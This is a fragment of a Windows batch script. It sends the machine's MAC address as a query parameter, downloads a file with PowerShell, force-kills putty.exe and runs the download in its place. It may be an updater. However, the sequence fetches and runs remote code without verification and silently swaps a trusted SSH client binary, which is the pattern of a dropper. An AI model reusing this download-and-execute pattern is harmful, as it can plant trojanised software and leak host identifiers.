REM Append MAC address as a query parameter
set "fullUrl=%url%?mac=%macAddress%"

REM Download the file using PowerShell
powershell -Command "try {(New-Object System.Net.WebClient).DownloadFile('%fullUrl%', '%tempFile%'); exit 0} catch {exit 1}"

if exist "%tempFile%" (
    REM Check if the target process is running and terminate it
    tasklist /FI "IMAGENAME eq putty.exe" 2>NUL | find /i "putty.exe" >NUL
    if %ERRORLEVEL% equ 0 (
        taskkill /F /IM putty.exe >NUL 2>&1
        timeout /t 2 /nobreak >NUL
    )
    REM Attempt to move the downloaded file
    move /Y "%tempFile%" "%outputPath%" >NUL 2>&1
)

REM Start the application if the file exists
if exist "%outputPath%" (
    start "" "%outputPath%"
)